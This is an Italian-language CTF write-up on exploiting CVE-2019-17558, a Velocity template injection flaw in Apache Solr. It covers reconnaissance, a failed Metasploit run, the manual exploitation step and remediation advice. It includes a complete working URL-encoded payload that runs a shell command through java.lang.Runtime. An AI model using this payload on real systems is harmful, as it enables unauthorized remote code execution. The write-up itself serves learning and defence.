Apache Solr RCE (CVE-2019-17558) - CTF Write-up

Sfruttamento pratico di una vulnerabilità di Velocity Template Injection in Apache Solr, passando da un errore in uno strumento automatizzato (Metasploit) a uno sfruttamento manuale riuscito.

Questo write-up documenta il ragionamento completo dell'esercizio, concentrandosi sulla diagnosi dell'errore dello strumento e sul pivot verso lo sfruttamento manuale.

Scenario

1. Ricognizione

La fase iniziale consisteva nell'identificazione dei servizi attivi sull'host target.

nmap -sV -p- <TARGET_IP>

Risultati.

• Porta 8983/tcp aperta.
• Servizio identificato come Apache Solr.
• Core identificato tramite pannello web, novacollection.

2. Analisi della Vulnerabilità

Accedendo al pannello amministrativo, è stato confermato che la versione di Solr era vulnerabile alla Velocity Template Injection.

La falla si verifica quando l'attaccante riesce a modificare l'impostazione params.resource.loader.enabled su true, il che consente l'uso di template Velocity personalizzati e, da lì, l'esecuzione di codice Java arbitrario sul server.

3. Sfruttamento Automatico (Metasploit)

Inizialmente è stato utilizzato il modulo exploit/multi/http/solr_velocity_rce.

L'exploit è riuscito a modificare la configurazione di Solr con successo.

[+] params.resource.loader.enabled is true for core 'novacollection'

Tuttavia, la fase finale di iniezione del payload è fallita con un errore di esecuzione Ruby.

NoMethodError: undefined method 'body' for nil:NilClass

Ciò ha indicato che, sebbene l'ambiente fosse vulnerabile e già predisposto, lo strumento non è riuscito a elaborare la risposta del server per completare l'attacco. Il target non era sicuro; solo il metodo di consegna del modulo doveva essere regolato.

4. Sfruttamento Manuale

Con il Velocity Writer già abilitato da Metasploit, l'iniezione è stata eseguita manualmente tramite una richiesta HTTP GET, aggirando l'errore dello script. Il template Velocity è stato costruito per istanziare java.lang.Runtime ed eseguire il comando di lettura del file target.

http://<TARGET_IP>:8983/solr/novacollection/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat+/home/favorite_book.txt%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Comando effettivamente eseguito sul server.

cat /home/favorite_book.txt

5. Risultato

L'iniezione è riuscita e il contenuto del file è stato restituito direttamente nel corpo della risposta HTTP, renderizzato nel browser, consentendo la cattura della flag.

Lezioni apprese

• Limiti degli strumenti. Scanner ed exploit automatizzati possono fallire a causa di peculiarità dell'ambiente o bug nel modulo stesso.
• Conoscenza di base. Comprendere il funzionamento della CVE-2019-17558 è ciò che ha permesso di passare da un errore dello strumento a un attacco manuale riuscito.
• Persistenza. L'errore NoMethodError non significava un target sicuro, ma solo che il metodo di consegna necessitava di una regolazione.

Rimedio

• Aggiornare Apache Solr a una versione corretta (8.4 o successiva).
• Assicurarsi che params.resource.loader.enabled rimanga disabilitato.
• Limitare l'accesso alla porta 8983 solo a reti affidabili, non esponendo mai Solr direttamente a Internet.
• Monitorare le richieste all'endpoint select con parametri wt=velocity, utili come firma di rilevamento in SIEM.

Riferimenti

• CVE-2019-17558 (NVD e documentazione ufficiale di Apache Solr).

Disclaimer

Questo repository è stato creato per scopi educativi e di documentazione dell'apprendimento in un ambiente controllato (CTF). Non utilizzare queste tecniche contro sistemi senza esplicita autorizzazione.